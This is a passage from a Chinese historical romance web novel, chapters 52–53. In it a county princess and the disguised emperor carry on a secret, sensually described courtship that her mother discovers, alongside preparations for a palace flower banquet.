赵清仪羞得双颊绯红,呼吸愈发急促,她后悔了,不该主动的,这无疑是将她的答案赤.裸裸地呈现在他面前。 比任何言语都更直白,更确定。 只是一个情难自禁的举动,却成了燎原的星火,一发不可收拾。 赵清仪无处申辩,攀着他肩头的素手不自觉用力,将他平整熨帖的锦袍攥出两团褶皱。 分明是想阻止他的,落在楚元河眼中,更像是欲迎还拒,促使男人进一步攻城略地,灵巧的舌尖总在她檀口中搅动,勾着她共赴欢愉,一点点掠夺她所剩无几的气息。 赵清仪被他亲得神魂颠倒,唇瓣红肿,酥酥麻麻的感觉却不减反增,远超她能承受的极限。 她渐渐失了力气,素手顺着他的宽阔的肩缓缓滑落,滑过他坚实的胸膛,颓然跌落在锦褥上,旋即又被楚元河一把捞起,强硬的按回自己心口。 指尖触及他坚实有力的胸肌,赵清仪感觉被烫了一下,明明要离开的,又鬼迷心窍地生出好奇。 好奇他矜贵锦袍之下是何等光景。 指尖便顺势滑了进去。 并非初次如此做,却是她感受最强烈,最专注的一次,指尖所过之处,是壁垒分明,沁着薄汗的肌理。 不知觉间,楚元河的衣襟散了,歪歪斜斜的,露出半截充满力量的肩颈轮廓。 始终厮磨的双唇终于分开,带出一丝晶莹透亮的水泽,男人刻意放缓了动作,看着困在锦绣绸缎间,红唇微张,呼吸紊乱的她,眸色幽深如潭。 又想亲她了。 就当是留给她一个短暂的喘息之机,楚元河再次俯身。 赵清仪整个人都不好了,掌心抵住他若隐若现的胸膛,她真的累。 “我慢一点。”楚元河只能先从她的耳后开始,低沉的嗓音诱惑着她,好让她服软,“……再亲一次,好不好?” 不能怪他,天知道他惦记了多久,梦里梦外,无数个日夜。 况且,还是赵清仪先动嘴,她主动的,他只是回应罢了。 “就一次。”他又是那副求她怜爱的模样,在她没有同意之前,他真就乖巧的只在她耳后颈间流连,落下细碎的轻吻。 可是这样,又与撩拨何异? 答应他,早晚的事。 楚元河才在她颈侧留下几团红痕,赵清仪慢慢环住他的胳膊,“继续吧……” 话音未落,狂热的追逐再次卷土重来,抱着他胳膊的手用力收紧,无声提醒他慢些,他顺从地放缓节奏,间隙中引导她调整呼吸,不至于一个亲吻便晕眩失神,招架不住。 这次他耐心很多,赵清仪渐渐适应,试着回吻…… “县主!” 婢子急切的声音破门而入,瞬间惊散了满室旖旎。 看清室内的情形,俏月目瞪口呆,随即死死捂住眼睛背过身去,“对、对不起对不起!婢子失礼了!婢子马上就滚!” 天爷,伺候县主多年,她这个奴婢当得越发骄纵无礼,还跟从前一样说进来就进来。 早知道先敲门了! 俏月捂住眼睛不敢乱看,后脚进来的檀月也被眼前景象吓坏了,赶紧把冒冒失失的俏月拽住去,顺手带上了门。 自诩厚脸皮的楚元河难得尴尬一次,他双手撑在赵清仪两侧,不知该起身还是该继续。 赵清仪也清醒过来,恨不得找个地缝钻进去。 还是楚元河先开口,他视线落在她殷红的唇上,“……还继续么?” 赵清仪不知该如何回答,就被对方轻轻拽入怀中。 楚元河还是遵从她先前的要求,揽在怀里再次吻上,唇刚一接触,俏月又推门进来。 前所未有的慌张,“哎呀县主,是夫人!夫人来了!已经到院子里了!” 第52章 第52章“闺房之乐,你要早些适…… 俏月在心里骂了自己无数遍猪脑子,第一次推门进来就是想禀报县主,大夫人来了,结果被屋里的情形吓到,差点忘了正事。 孟氏在揽月阁外等了片刻,不见婢子过来相请,便自己走了进去,行至院中,俏月又急急忙忙跑进去。 换作平常自然无事,可眼下县主房里有个男人!还和县主亲亲热热做那种事…… 俏月不懂,反正在她看来,自家县主和平西郡王已经到了不可描述的地步。 作为主子最忠心的丫头,甭管这事儿是否被世俗接纳,她都要替主子保管秘密,于是又慌慌张张回去提醒。 赵清仪这次是真吓坏了,拽着楚元河跑到窗边,要他从窗户离开,就看见母亲的身影已经在庭院里,楚元河此刻跳窗出去,二人势必会撞上。 赵清仪又慌慌张张打开自己的衣橱箱笼,发现到处塞满了她的华服首饰,居然没有一个能藏人的地方。 听到檀月在门口故意拔高声调给孟氏请安,赵清仪纠结再三,只能把人藏到床上。 楚元河像快茫然的木头,被赵清仪拽来拽去,满屋子乱跑,最后被推到床上,话都没来得及说,带着香气的衾被盖住了他的脑袋。 “……” 几乎是赵清仪刚进被子的瞬间,孟氏推门进来。 “般般?” 孟氏唤了一声,打量女儿的脸色,“你怎么了?脸这般的红?” 赵清仪死死压着衾被,生怕让母亲看出端倪,“没、没什么,刚沐浴完,兴许是水太热了。” 孟氏目光下移,落在女儿异常红润的唇上,不动声色的“哦”了声,坐在她床边。 赵清仪做贼心虚,害怕极了,面上极力维持镇定,“母亲,您找我有事?” “也没什么,就是你父亲明日要启程去浙江了,想与你商量商量,为你父亲践行。” 赵清仪知道母亲是舍不得父亲的,“母亲放心,我已经知会过孟家,会派两支镖局的人护送父亲。” “还是你想得周到。”孟氏欣慰一笑,随后又是忧心忡忡的样子,“不过你弟弟还在闹,非要跟你父亲一起去,我没同意。” 这不意外,弟弟赵澜俨从小就跟在父母身边,感情深厚,如今又到了少年意气的时候,肯定会说他来保护父亲这种话。 提到赵澜俨,孟氏的话多了起来,赵清仪一直在走神,时不时应付两句。 见母亲一直没有要走的意思,她只好说,“母亲,您身子不好,还是别胡思乱想了,早些回去歇着吧。”罕见的赶客。 孟氏掩唇咳嗽两声,别有深意地看着女儿。 赵清仪害怕露出马脚,又说自己累了。 孟氏这才作罢,“好好好,知道你辛苦,你早些睡。”磨磨蹭蹭起身后,她在屋里扫视一圈,最后定格在赵清仪的床榻里。 “天气回暖,你这衾被也该换了。”说罢,就吩咐婢子去给赵清仪换新被褥。 这怎么行? 赵清仪赶紧拒绝,“不用了母亲!我、我体寒,还是先不换了……” 孟氏沉默半晌,到底松了口,“好吧,那母亲就不打扰你了。”这才转身出去,到了门口,她又停下脚步,锐利的眸光扫过檀月俏月。 两个婢子皆是心虚地垂下脑袋,做出恭敬的样子。 “夜里看顾好县主,切莫懈怠了。” 两个婢子齐声应是。 孟氏这才作罢,临走时,留意到东面的院墙,这院墙还是太矮,不安全。 明日,得找工匠砌高点儿。 孟氏走出揽月阁后,赵清仪立即掀开衾被,怕楚元河闷死。 就当她要关心两句时,楚元河舒心地躺在她的被窝里,发出一声感叹,“好软,好香。” “……” 赵清仪好不容易冷静下来的脸又倏地涨红,在被子下踢了他一脚,“还不赶紧起来?” “我再躺躺。”楚元河压根不紧张,安逸地闭上眼,深吸口气。 这可是他心上人的被窝,他居然躺进来了。 出奇的软,出奇的香,是赵清仪身上的味道,清甜的。 赵清仪觉得他是皮痒了,又想挨巴掌,“……闭嘴吧,赶紧起来!” “嗯~”楚元河哼哼两声,不想动。 赵清仪没办法,可也不能眼睁睁看他抱着自己的衾被,一副乐在其中极其沉醉的模样,总让她有种对方抱的是自己的错觉。 这让人情何以堪。 她干脆把衾被抢回来,嫌弃地说,“你都没沐浴,别躺我床上。” 被子扯开,露出他大喇喇舒展开的肢体,几乎快侵占了她大半张床。 “是你把我藏进来的。”楚元河委屈眨眼,“……况且我又不臭,不信你闻?” 他半撑起身,本就半露不露的胸膛再次敞开,往赵清仪跟前凑,“我洗过了,每次来之前都洗过了,虽然不如你香,但绝对不臭。” 宫里沐浴的过程繁琐又复杂,一道又一道,谁都能臭,他绝不可能臭。 赵清仪肯定是把他当成只会舞刀弄剑,一身臭汗的糙男人,以为他不爱干净,他非得扭转她的刻板印象。 “你可以验验,我真没骗人……”楚元河把衣襟拽开,冲她挑眉。 赵清仪也只是随意扫了眼,清晰的肌肉线条闯入眼帘,配上那张似笑非笑的俊脸,在昏黄的烛火下,格外惹人垂.涎。 ……该死的,他故意的吧! 赵清仪再次被他活色生香的姿态惊吓到了,衾被丢回去,盖住他的身体,“你少来……唔!” 楚元河眼疾手快,握住她来不及收回的手,二人再次相贴,隔着一角衾被拥吻。 他将她的话奉为圭臬,自然要完成对方的吩咐,说好继续的。 赵清仪仅存的羞耻心,在他百般花样的亲吻中一点点吞噬,不知不觉成了被压倒的一方。 等对方离开时,她已四肢酥.软,陷在被褥里只剩喘息。 楚元河最后吻过她的耳垂,不住感慨她的美妙,像是世间最莹润无暇的玉,总引得他忍不住舔舐。 想咬,但得适可而止。 “好些了吗?” 赵清仪不想说话,她嘴巴疼。 楚元河诧异,“是不是之前被下了毒,还没好全?”不然只是亲吻而已,怎么就这样了。 赵清仪泛着水光眸子瞪他,来回窒息几次,他试试? 为了将来考虑,楚元河认真地建议,“明日我给多给你送些补药,你身子太虚。” 最后他被缓过来的赵清仪一脚踢下床。 …… 翌日一早,赵清仪早早起来梳妆,准备出门为父亲送行,走到院子下意识瞥向隔壁王府,惊讶地发现自己的院墙不知何时加高了一尺有余。 谁干的? 俏月垂着脑袋,“县主,是大夫人……天没亮就找了工匠砌墙……” 她还以为昨晚的事瞒过了大夫人,但看这围墙,悬了。 赵清仪也猜到了,更没脸去前院见人了,脑中不断回想究竟哪里出了纰漏,一会儿被母亲问起,她又该如何回答。 想着想着,人就到了前院,一大家子都在,各自叮嘱后,就要送赵怀义出门,弟弟赵澜俨红着眼哭闹,死活要跟父亲一起去。 最后还是姑姑赵怀淑劝住了他,说让他留在上京好好习武,准备武考,顺便留在家中女眷,才让赵澜俨打消念头。 赵清仪没什么可说的,她早早叫出了楚元河留给她的暗卫,让他们一路暗中护着赵怀义,算是把能做的都做了。 送走赵怀义后,孟氏看向女儿,“般般,你随母亲来一趟,母亲有话和你说。” 赵清仪心头一跳,她就知道,躲不过母亲的火眼金睛。 她低头跟着孟氏进屋,孟氏屏退其余人后,冷脸质问,“昨晚在你房里的人是谁?” 赵清仪沉默,头埋得更低了。 “是平西郡王?”孟氏猜到了。 赵清仪闭眼,恨不得立刻离开这个人世,太丢脸了,还丢到了母亲面前。 看她这样子,孟氏就知自己猜得八.九不离十,可在她印象里,女儿一直是循规蹈矩,教养极好的贵女典范,怎么可能做出这等混账事? 说不难受是假的,孟氏昨晚一夜未眠,就怕事情败露,于女儿名声不利,思来想去,她终是退后一步,“什么时候的事?” 赵清仪不敢隐瞒,想了想,尽可能严谨地说,“昨晚。” 昨晚才互通心意,这么说也没错。 “昨晚?”孟氏显然误会了,深吸口气,“那你们已经……已经……” 忖了忖,又觉这话问了不妥,罢了,只能怪她这个当娘的发现太晚。 想到女儿上一桩不幸的婚姻,孟氏到底不忍苛责,“你二人若真心相待,母亲不会阻拦,让郡王看个日子,登门提亲吧。” 都有了肌肤之亲,事已至此,除了让二人名正言顺在一起,还能如何? 赵清仪再次沉默,不接话。 孟氏陡然一惊,“不会是郡王不想承认吧?” “不是,当然不是。”赵清仪虽不至于心向外男,但也不愿母亲误会,“是女儿不想再嫁了。” 孟氏仿佛才认识自己的女儿,难以置信地端详她,半晌颤抖着声音说,“你不想嫁,那你又与他……你这是……你要母亲如何说你才好!” “母亲,您别生气,我不会连累家中名声。”赵清仪把自己即将搬出赵家的打算说了一遍,她离开后,出了任何事她会自己担着。 孟氏又气又心疼,“母亲不是为了名声才要你嫁人,而是你还年轻,母亲希望你后半生有个依靠,郡王那人母亲也算了解一二,瞧着是孟浪了些,但心眼是好的,看得出来,他倾心于你。” 细想之下,孟氏觉得可以追究到更早以前,或许是在长公主府见面那次,又或是四年前,平西郡王就对自己女儿有意。 否则他又怎会对赵家大献殷勤,又是讨好赵怀义,又是给自己送药材,甚至惠及赵澜俨与李骄两个晚辈,看似不羁放.荡,却对他们一家处处周到。 最要紧的,是平西郡王在乎自己的女儿。 从女儿尚未和离时,对方就在刻意接近。 但如今不是追究算账的时候,孟氏决定糊涂到底,就这么着吧,横竖王府就在隔壁,离得也近,嫁过去也不怕女儿受委屈。 结果现在女儿告诉她,不想嫁人? 孟氏实在不懂她的心思,“般般,你到底在顾虑什么?若是顾及家里,大可不必,母亲不是软柿子,中馈之事不用你管。” 赵清仪也很无奈,劝她别操心了,只字不提楚元河以及婚嫁之事。 孟氏劝不动,最后只能作罢。 — 楚元河倒是一整日都神采奕奕,早朝时与首辅商议了办新政学堂一事,张首辅细思过后,觉得此法可行,当场拟好名单,是他认为可堪重用的贡士名单。 楚元河过目后,决定等殿试时对名单上的人着重考察,若无问题,便作心腹重用起来。 国事一了,楚元河换回常服,在御花园里悠哉散步,大抵是心情好了,觉得这昔日不曾留意过的满园春色甚美。 只是比起他的般般,还是逊色一筹。 楚元河寻了个僻静的地方坐下,盯着眼前的一株海棠失笑。 长公主特意踩着他下朝的点,进宫找他商量花神宴的事,远远就瞧见皇兄支着脑袋,容光焕发,一脸荡漾。 “皇兄是遇到喜事了?笑得这般愉悦。”长公主放轻脚步,笑容促狭,她都走得这么近了,皇兄都没反应过来。 楚元河才注意到她,板着脸,恢复人前的淡然矜贵,“你早膳盐吃多了?”敢管他的事了。 说罢不着痕迹睨了小内侍福贵一眼,不中用的东西,平白让人看他这个皇帝的笑话。 他们兄妹是一胎双生,年纪相同,私下里没少贫嘴,长公主习惯了,嘻嘻一笑坐到一旁,“反正不及皇兄吃的糖多。” 随行的宫人识趣后退,给这天下最尊贵的兄妹俩让出位置,长公主看皇兄红了耳根,就知这人不禁打趣,遂转移了话题谈起正事,“皇兄,今年的花神宴要如何操办,你可有主意?” 楚元河整日除了国事,就只想赵清仪,哪里顾得上乱七八糟的宴请。 “你随意就好,御花园借你。” “别走啊。”长公主叫住准备起身离开的楚元河,“这可是百官私下里催我办的,皇祖母那儿也下了懿旨,让我务必办好这份差事。” 花神宴的目的显而易见,就是为当今天子选妃。 太皇太后催着办,是心系皇嗣,百官催促,则是希望楚元河的精力转向后宫,好让世家权贵们松口气,当然,若自家女儿能进宫,凭着裙带关系,说不准能在新政之下翻身。 除了给皇帝选妃,余下未被选中的贵女也可与别家联姻。 楚元河明白这帮老狐狸的打算,索性顺水推舟,让长公主放手去办,至于选妃……那是不可能选的,但他却可以借此机会,看清各家立场。 临走时,楚元河特意交代,让长公主给赵清仪送份帖子。 历年花神宴都很热闹,想必赵清仪会喜欢,大不了,就当进宫看些花花草草,这皇城内的景致也是世间独一份的。 兄妹之间爱凭嘴,但长公主依旧是楚元河最信任的亲人,长公主顿时了然,含笑应是,“行,本公主亲自去送,就当是给未来皇嫂一个面子。” 那声“皇嫂”无疑取悦了楚元河,他回眸一笑,大方挥手,“准你去朕的私库挑三样东西。” “多谢皇兄!”长公主笑颜如花,起身施礼。 不过她转念一想,皇兄何时变得如此大方了? 要知道这些年大梁开疆拓土,军需耗费巨大,国库吃紧,每比花销都得户部精打细算,楚元河绝对算得上大梁最抠门的皇帝,否则也不至于惦记上世家权贵的银子。 一次给她三样东西,肯定还有别的事要她去做。 傍晚时分,长公主亲自带着花神宴的帖子驾临赵家,上至老夫人,下至仆妇婢子,全在仪门前*跪地接驾。 长公主亲自扶起老夫人,将从皇兄私库里拿来的东海夜明珠赏给赵清仪,又给诸位女眷递了帖子,就被老夫人与孟氏一同迎至前厅落座。 赵清仪了解花神宴的性质,便觉拿在手里的帖子烫手,那股怪异的感觉再次席卷而来。 冯氏拉着女儿,频频朝她那边看去,小声嘀咕,“这花神宴定是为了给陛下选妃,其次就是世家联姻,邀请的都是未出阁的官家小姐,她一个和离妇怎么也在其中?” 赵温仪瞪了母亲一眼,示意她少说话。 但赵清仪已经听到了,总算明白那怪异的感觉从何而来。 打从她得了宸华县主的封号,又被宫人领去皇后寝宫,她就怀疑陛下对自己是否有些误会,如今一个选妃的花神宴,还特意给她这个和离妇下帖。 不是要把她弄进宫里,估摸着……就是想给她指婚? 不然她没有赴宴的必要。 赵清仪一颗心顿时沉了沉,将帖子收好,抱着长公主赏的夜明珠,借口身子不适回揽月阁休息去了。 若上位者真有打算,那她还得想个法子避开才好。 她一路颦眉思索对策,想得入神,进屋时便没发现房里多了个人,待她关上门转身之际,高大的男人从后拥她入怀。 赵清仪险些惊叫出声,就被男人堵了嘴,装着夜明珠的锦盒与帖子同时掉落在地。 她呜咽两声下意识地反抗,熟悉的气息从唇齿间渡了进来,紧绷的身子才缓缓放松。 楚元河将她拥得更紧,揽着她亦步亦趋,绕过珠帘转到内室,唇始终不曾分离,直吻得她气喘吁吁,脸色潮.红。 得了缓冲的空隙,赵清仪用手抵着男人胸膛,不让他再近一步,“你怎么来了?” 被孟氏发现后,她现在很害怕楚元河出现在她房里。 楚元河同样喘着气,忍不住俯身与她耳鬓厮磨。 “想你了。”他声音嘶哑,说起情话,格外动听。 来见她,无需太多理由。 赵清仪还是脸皮薄,微微偏头,不敢拿正眼瞧他,“你还是别来了……” 在她耳垂流连的男人一愣,掐着她腰肢的手紧了紧。 赵清仪赶紧解释,“是我母亲,上回你来,被我母亲发现了……”她心虚地低下头。 楚元河怔住,原来如此。 难怪他今日翻墙过来时,发现揽月阁靠近王府的那堵墙加高了,好在他身手不错,没拦住。 “那……要我上门提亲吗?”都被发现了,再藏着掖着不好吧。 赵清仪又摇头,“不用,我和母亲说好了,她不管我的私事。” 这确实让人意外,楚元河说不上高兴多一些,还是不高兴多一些。 见他沉默,赵清仪又怕他胡思乱想,主动在他脸颊上啄了一口,就推着他往外走,“好了好了,你先回去。” “横竖都发现了,还躲什么?”楚元河可不是那么容易敷衍的,他反手握住赵清仪,又将她逼退几步,把人抱到桌子上。 “长公主在前厅,有她拖着,她们不会过来的。”正事要紧,他才刚开始和她亲近呢,不趁热打铁,赵清仪早晚要把他忘了。 楚元河掌住她的后颈,动情地贴了上去…… “等等。”赵清仪又打断他,指着掉在门口的帖子,“长公主送来的,还没收好……” “别管它。” 帖子而已,大不了回头重新送一张,赵清仪不肯。 楚元河觉得她今日格外磨蹭,慢腾腾的。 “好了,别看了。”他从她手里抽出帖子,随手丢在妆奁上,把人重新抱回怀里,低下头去。 “不行不行。”白皙柔软的素手压在他唇上,没让他得逞。 她忽然又想到一件事,平西郡王与陛下亲近,或许可以从他这里问些东西。 “你可知陛下为何邀我赴宴?这花神宴不是为了给陛下选妃吗?” 又要岔开正事…… 他长舒口气,“或许吧。” 楚元河只能先回答她的问题,旋即又补了一句,“给你下帖子,是我的意思,不要胡思乱想。” 原来如此,赵清仪悬着的心稍稍安定,不是她以为的那个意思就好,想必陛下看在堂兄弟的情分上,不会太为难她。 “你就光想杂事,不想我了?”楚元河语气幽幽,捉住唇上那只小手把玩。 不让他亲?那就做点别的。 他恶趣味地探出长舌,轻轻舔过她的指尖。 赵清仪飘走的思绪瞬间回笼,那湿.漉漉的触感让小脸唰地通红,“你、你干什么……” 这也太……太不正经了! 楚元河微微一笑,勾魂摄魄的桃花眼一眨不眨地盯着她,“不喜欢吗?我以为你把手指放我唇上,是我要亲它的意思。” 他不紧不慢调侃着,张口将她的珍珠般莹润的指尖含入唇中,长舌慢条斯理绕着她的指尖缠弄。 温热酥麻的触感犹如过了电,瞬间传达她的四肢百骸。 赵清仪被他逗得头皮发麻,“你误会了,别闹……” 她想挣扎,想抽离,楚元河却牢牢握住她的手腕,骨节分明的大手包裹着她的小手,粗糙的指腹还在她掌心缓慢打圈。 无一不在挑.逗她的意志。 赵清仪指尖发热,掌心麻痒,最要命的是那细微的痒意,仿佛能透过她的指尖掌心直达她的灵魂。 赵清仪腰肢靠着他的臂膀,娇躯止不住的发颤。 这感觉太过陌生,陌生得令她无所适从,她想逃,可每当她要蜷起细指时,他便会用强硬的姿态迫使她舒展开来。 舌却依旧轻柔,缓慢掠过她的指尖,吻过她的指节,她的手背,再轻轻翻转,温热的触感落在她的手腕脉搏…… 赵清仪浑身颤栗不止。 楚元河吻得很是专注,高挺的鼻梁印在她的白皙的手臂上,微微陷入她软腻的肌肤,又逐渐往上,将她宽大的云袖一点点蹭开,留下一串湿润的吻痕。 被剥开的肌肤红润剔透。 “别这样……” 她哀求他,他才作罢,侧脸顺势陷在她灼热的掌心里,模样讨巧。 “不喜欢吗?”他又问了一遍。 赵清仪红唇轻咬,杏眸含泪,这要她怎么说? 反正她是招架不住的。 “下次……别这样了。”她极力维持声音里的平静,开口发现还是乱得不成样子。 “哦……”楚元河的脸从她掌心移开,含情专注的桃花眼里闪过落寞。 赵清仪的心又软了,回抱住他,给予他一点安慰,“我没有不喜欢,只是……” 只是太难为情。 难为楚元河一个郡王如此勾栏做派,但这话她不敢说,怕说了伤他颜面。 “只是什么?”楚元河迫不及待追问。 赵清仪恨自己在这方面笨嘴拙舌,“我不想你太放低身段……” 楚元河微怔,旋即笑了,“就这?” 嗯? 就这? 他不介意吗? 她茫然无措的样子,真的很好欺负啊。 楚元河喉结微动,嘴上是一本正经的,“你情我愿的事,是我喜欢亲你……喜欢你每一个地方。” 因为喜欢,便不觉得自己是在放低身段,相反的,看她脸红,看她动情,他很愉悦。 这一切都是他带给她的。 “般般,这是闺房之乐,你要早些适应……”他喘息着。 赵清仪感觉脸又热了,还得是他的嘴皮子厉害,什么都敢往外说。 楚元河将她抱紧了些,炽热的气息掠过她的耳垂,“不相信吗?” 赵清仪确实不太敢相信,不懂其中有何乐趣,值得他做出这幅样子。 他抬手抚过她的脸颊,眸色幽暗,“要不……换你来试试?” “试试,你就知道我说的是真是假。” 第53章 第53章“体谅一下,我是个正常…… 试、试试? 她吗? 赵清仪内心惊起不小的波澜,她怎么学得来? “我不行……”她想了一下,婉拒了。 楚元河捧着她的脸,犹如抚摸着稀世珍宝,“你都没试过,怎么知道自己不行?” 在对方充满鼓励又隐隐期待的目光下,赵清仪脑子越发混乱,“我……” 她动摇了,问他该怎么做。 楚元河原本也不抱什么希望,他就是爱逗弄她,喜欢看她因为自己的三言两语而脸红心跳,却没料到,她只犹豫片刻就答应了。 原来她除了张扬舞爪,心黑手辣,恼羞成怒,还有这般乖顺腼腆的一面? 夕阳最后一抹余晖落下,长公主被老夫人与孟氏盛情款待,前厅一派和睦,其乐融融。 揽月阁主屋内,只有掉落在地的夜明珠闪着萤辉,照得满室温情。 楚元河抚着她的脸,墨眸漆黑,“就像方才那样,吻我。” 吻他…… 吻他的唇可以,可是…… 像他方才那样,过于轻佻,她怎么做得出来? “很简单的……”男人锲而不舍,柔声蛊惑,掌着她的细腰来回摩挲。 好、好吧…… 鬼差神使的,赵清仪学着他先前的样子,先握住他的手腕。 那是明显与她不同的手,骨节分明,脉络清晰,她轻轻握住,也无法将其完全圈住。 在对方期待的目光下,她侧过脸,红唇轻轻吻在他的腕间,强有力的脉搏瞬间透过皮肉,透过她的唇传递而来,振得她心肝发颤。 她不知道这样做对不对,纤长浓密的眼睫微微抬起,递给他一个询问的眼神。 是这样吗? 她的唇格外柔软,触感也极其分明,楚元河整条手臂的肌肉收紧,面上镇定地鼓舞她,“就是这样,你做的很好。” 得到肯定,赵清仪的唇缓缓移动,到了他的掌根。 与她的白嫩细软不同,男人的掌布着一层薄茧,过于粗糙,吻上去,轻轻滑动,那薄茧似有倒刺一般总勾住她的唇。 饱满红润的唇,在细微的磨蹭之下,愈发红得滴血。 他的肌肤也愈发灼热。 除了第一次,她看过他之外,便没再抬起眼皮,慢慢吻过他的掌心。 “不对,不是这样。”楚元河耐心纠正,“你要看着我……” 不看他,怎么能勾人呢? 赵清仪不明所以,唇还陷在他的掌心里,盈盈杏眸已经看了过去,清亮纯粹的眸底染着朦胧的胭脂色。 楚元河倒吸一口凉气,感觉有什么东西岌岌可危,快些跳出来了。 他都在做什么,怎么把她教成这样了,最后还变成磨砺他自己的酷刑。 隐在黑暗里的喉结上下滚动,楚元河想喊停,“可以了……” 却被赵清仪听成了鼓舞与肯定。 她做对了。 她越发卖力,唇一点点向后蔓延,亲吻过他虎口的伤疤,来到他的指尖,其实除了薄茧与伤疤,他的手依旧是好看的,修长,干净,充满力量。 到了最后一步,也是楚元河最开始的一步,赵清仪犹豫半晌,红唇微启,学着他的样子含住他的指尖。 不忘抬眸望他一眼,像是在问,是这样吗?这次她做对了吧? 夜明珠的光辉透过珠帘照进来,气氛暧.昧不明。 被她含住的指尖温热麻痒,诡异的情愫丝丝缕缕钻进骨头缝里,摸不到,触不着,掠过心头,只剩忍耐的痒。 “好了。”楚元河勉强压住勾起的热意,嗓音低压,“……这样就可以了。” 再继续,他会是先崩溃的那个。 赵清仪看到他脸上的忍耐与动容,隐约也体会到了他口中的你情我愿,确实不存在谁是下位的讨好,有的是看着对方为自己心动的愉悦,是隐秘的快意。 她没有半途而废,依旧捧着他常年舞刀弄剑的手,继续在指尖缠绕,她感觉对方的指在她檀口中轻颤,轻轻擦过她的舌尖。 有些发麻。 赵清仪双颊通红,吮吻着他的指尖。 “赵清仪……我早晚死你手里!” 耳边乍然响起男人懊恼又莫名燥郁的声音。 不等她回神,楚元河猛然收回手指,湿润的指尖掐住她的双颊,另一手环过她的腰肢用力一带。 她被迫撞进他怀里,疼得哼叫出声,余音又尽数没入对方热烈的亲吻中。 虽然前几回他也吻得用力,却远不如这次,又急又凶,直接撬开齿门疯狂汲取掠夺。 赵清仪不明白,她又哪里做错了? 什么叫死她手里,适才又没咬他,怎么就这样了。 唇齿间仅存的气息消耗殆尽,她不能呼吸,眼尾情不自禁沁出了泪花。 她的手压在男人坚如壁垒的胸膛上,试图挣脱。 楚元河却没有半分怜惜之意,他步步逼近,将她逼至拔步床边缘。 后背撞上床柱发出一声闷响,赵清仪蹙眉低呼,双唇分离,终于喘上一口气,“疼……” 他吻得太凶,红唇被他磨得生疼,身子也像撞进了铜墙铁壁,牢牢困住。 楚元河脑中几近崩溃的那根弦骤然稳住,他停下亲吻,从她唇上稍稍退开。 赵清仪现在活像砧板上待宰的鱼,区别只在于她是被他钉在了床柱上无处可逃,她视线躲闪,脸红得不像话。 两世为人,有些东西她还是懂的。 难怪会疼。 “那个……撞到我了……”她气息紊乱,羞涩难堪。 楚元河也察觉到异样,勉强与她分开,线条坚毅的下颌搁在她锁骨窝处,沙哑道,“抱歉……” 他再缓一缓,缓一缓就好了。 二人僵持着,谁也不敢再动。 可楚元河压根就缓不过来,如此僵持,不是办法。 他绞尽脑汁,却被这场隐秘的欢愉冲溃了理智,他根本想不出更好的办法,只能颓丧又暴躁的按住祸乱之源往下压,锦袍这才恢复平整。 赵清仪大惊失色,她不瞎的! “你……”一开口,声音都在发抖。 他怎么敢…… “对不起嘛。”楚元河的脑袋动了动,埋在她颈窝处,吐出一大口浊气,“……你体谅一下,我是个正常男人,你那般撩拨,我若岿然不动,岂不是在羞.辱你?” 他又不是柳下惠,况且这情.爱之事,不是他能控制的。 他一边解释,一边努力压下去,只是手刚挪开,方才做的又成了无用功,该怎样还是怎样,鼓起的锦袍反倒显出他的狼狈。 好在楚元河脸皮厚,还没到落荒而逃不敢见人的地步。 “我不看你就是,你赶紧走。”赵清仪闭眼,他脸皮厚,可她还有羞耻心呐。 主要也怕长针眼,想想那个画面,太不雅了。 楚元河的脸也红了,他知道赵清仪今日的底线就到这,再过分,真会吓到她。 他深吸口气,只是运起内力也无济于事,横竖压不住,索性就这样吧。 “那能不能麻烦你……自己拿一下?”楚元河用眼神示意她,“我给你带了东西,在我腰间。” “什么东西?” 他顿了顿,“……定情信物?” 赵清仪眼眸一闪,定情…… “般般不这么认为?”楚元河咬着她,“你我之间难道没有情意?没有情意,我们方才又在做什么?” 赵清仪被问得哑口无言。 楚元河神色哀怨,“……我虽不求你下嫁于我,可我也不想无名无份跟着你。” 哪怕……哪怕只是个外室的身份,至少说明,她心里有他。 赵清仪感觉自己的脸又烧起来了,比进了蒸笼还热,“我答应你就是……” 都到这地步,还差她一句口头的承诺吗? 楚元河终于心满意足,“那你快看看我送你的礼物。” 赵清仪一手捂着眼,一手哆哆嗦嗦地伸过去,在他腰带附近摸了一圈。 楚元河身体紧绷,半晌,“……左边一点儿。” 赵清仪如实照做,却隔着衣衫摸到了他的坚实的人鱼线。 楚元河也很无奈,“再往下。” 赵清仪心惊胆战,胡乱摸过去,掠过他的肚脐的位置,手忽然挨了一下,吓得她飞快瑟缩回去。 “你……无.耻!”什么定情信物,他在戏弄她吧! 楚元河快冤枉死了,要不是之前被嫌弃过,他大可自己用手拿出来,但这不是……刚做了别的,不方便。 “在我腰间藏着,你仔细找找。” 赵清仪硬着头皮,罢了,再信他一次。 在对方引导下,这次总算找准位置,从里面摸出一只扁长的锦盒。 “送你的,记得戴上。”楚元河最后在她唇上啄了一下,拂身而去,脚步多少有些踉跄。 命苦,又得自己解决了。 他一走,赵清仪彻底放松下来,靠着床柱渐渐软倒下去。 确认没有动静了,婢子在外敲门,“县主?” 赵清仪赶紧整理好凌乱的衣衫让她们进来。 点亮了屋中的烛火,俏月过去搀扶,“县主,你……还好吧?” 县主这一脸春.色,不用说,肯定是平西郡王又来了。 折腾得也太狠了,瞧把县主累的。 俏月心里默默为她捏了把汗。 视线扫过她手里的锦盒,“咦,这是何物?” 赵清仪才想起楚元河说的定情信物,她没多想,随意打开,里头赫然是一支赤金累丝凤钗,凤口衔着一颗缀了流苏的宝石。 不是时下流行的样式,但胜在古朴典雅,做工精细,瞧着像宫里的东西。 之后几日,楚元河没再来过,转眼到了花神宴当日。 赵清仪与赵温仪均在受邀之列,早早梳洗打扮后,乘着马车前往皇宫,孟氏与冯氏则在门口相送。 以身份论,孟氏是阁臣之妻,一品诰命,有赴宴的资格,但她身子不好,便推辞了,她没去,其他人更没资格赴宴。 方姨娘那里反倒无人理会,她便趁着这个空档悄悄离府,去到外城一处破旧的小院门前。 罗氏终日趴在门口,透过破门的缝隙觑着外头过路的人群,见到方姨娘,她很激动。 “怎么样?素素来了吗?” 她盼星星盼月亮,盼了女儿好多日。 方姨娘闪开两步,避开她胡乱抓挠的手,冷声叫她等着,不过片刻功夫,巷子另一头传来急促的脚步声。 今日王夫人去宫里赴宴,李素素才得了空子偷跑出来,她按照信上的地址一路寻找,看到趴在地上人不人鬼不鬼的罗氏,当场落泪。 “娘,你怎么变成了这幅样子?” 方姨娘把人安顿在这小院里,只保证她不会死,别的不管,是以罗氏还是蓬头垢面的乞丐模样,丝毫看不出往日的颐指气使。 